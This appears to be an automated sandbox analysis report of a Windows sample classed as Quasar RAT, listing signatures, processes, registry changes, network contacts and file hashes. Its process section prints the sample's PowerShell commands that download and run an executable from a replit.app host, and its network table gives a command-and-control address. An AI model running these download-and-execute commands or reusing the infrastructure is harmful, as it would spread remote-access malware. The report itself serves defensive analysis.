Analysis Overview
SHA256
8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3
Threat Level: Known bad
The file 8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
Quasar payload
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
.NET Reactor proctector
Adds Run key to start application
Unsigned PE
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-30 02:02
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-30 02:02
Reported
2024-07-30 02:05
Platform
win7-20240705-en
Max time kernel
121s
Max time network
129s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\96F2.tmp\96F3.tmp\96F4.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\96F2.tmp\96F3.tmp\96F4.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1944-6-0x000007FEF576E000-0x000007FEF576F000-memory.dmp
memory/1944-7-0x000000001B5A0000-0x000000001B882000-memory.dmp
memory/1944-8-0x0000000002870000-0x0000000002878000-memory.dmp
memory/1944-9-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
memory/1944-10-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
memory/1944-11-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
memory/1944-12-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
memory/1944-13-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
memory/1944-14-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 7b87af0713f74d263eda086c11cc4fe0 |
| SHA1 | f16a6d47dcc4951737f94f4ffb94b90736744466 |
| SHA256 | 8bed2f905f5deaf22370af4a8ad79ed3c7cab3ee3550a0eb59ab677cddb49d23 |
| SHA512 | fea49c2ec87776d8672aafb3804a869893754eb676855437286f85cfe7271f3d538096254eafdb932e747b6367eda0efa32665e270790b1a69455035712cfcfe |
memory/2256-20-0x000000001B5B0000-0x000000001B892000-memory.dmp
memory/2256-21-0x00000000026E0000-0x00000000026E8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-30 02:02
Reported
2024-07-30 02:05
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
.NET Reactor proctector
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe
"C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EF03.tmp\EF04.tmp\EF05.bat C:\Users\Admin\AppData\Local\Temp\8636f8c4fe1fe4859a3feec23a0cecf12391ddbffbb3d2bec5efe8f3aaac74b3.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
networkrunfdp.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | jdvdpconstructionltdfileportal.replit.app | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.33.117.34.in-addr.arpa | udp |
| US | 34.117.33.233:443 | jdvdpconstructionltdfileportal.replit.app | tcp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | oshi.at | udp |
| NL | 5.253.86.15:443 | oshi.at | tcp |
| US | 8.8.8.8:53 | 15.86.253.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 192.228.105.2:4782 | tcp | |
| US | 8.8.8.8:53 | ipwho.is | udp |
| DE | 195.201.57.90:443 | ipwho.is | tcp |
| US | 8.8.8.8:53 | 2.105.228.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.57.201.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\EF03.tmp\EF04.tmp\EF05.bat
| MD5 | 9aaac0122442ca0ebb4d8bb795e86676 |
| SHA1 | 594744d8e4d51273dd435c3fac5799bc5f180e8c |
| SHA256 | 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373 |
| SHA512 | d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c |
memory/1108-2-0x00007FFC06AB3000-0x00007FFC06AB5000-memory.dmp
memory/1108-3-0x000001E6DE480000-0x000001E6DE4A2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rxrqd21r.el3.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1108-13-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp
memory/1108-14-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp
memory/1108-18-0x00007FFC06AB0000-0x00007FFC07571000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 08f9f3eb63ff567d1ee2a25e9bbf18f0 |
| SHA1 | 6bf06056d1bb14c183490caf950e29ac9d73643a |
| SHA256 | 82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0 |
| SHA512 | 425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512 |
C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe
| MD5 | a18b7de2990becc30f700720e19ebfef |
| SHA1 | b48c1a5c7756bccfe05d7999daeb96e7ab688cfd |
| SHA256 | 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5 |
| SHA512 | 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b |
memory/2736-35-0x0000000000010000-0x000000000007E000-memory.dmp
memory/2736-42-0x00000000053F0000-0x0000000005715000-memory.dmp
memory/2736-43-0x0000000005E70000-0x0000000006194000-memory.dmp
memory/2736-44-0x0000000006740000-0x0000000006CE4000-memory.dmp
memory/2736-45-0x0000000005BE0000-0x0000000005C72000-memory.dmp
memory/2736-46-0x0000000005BD0000-0x0000000005BDA000-memory.dmp
memory/2736-47-0x0000000005DD0000-0x0000000005E20000-memory.dmp
memory/2736-48-0x0000000006540000-0x00000000065F2000-memory.dmp
memory/2736-49-0x0000000007310000-0x0000000007928000-memory.dmp
memory/2736-50-0x0000000007010000-0x0000000007022000-memory.dmp
memory/2736-51-0x0000000007070000-0x00000000070AC000-memory.dmp
memory/2736-52-0x0000000007120000-0x0000000007186000-memory.dmp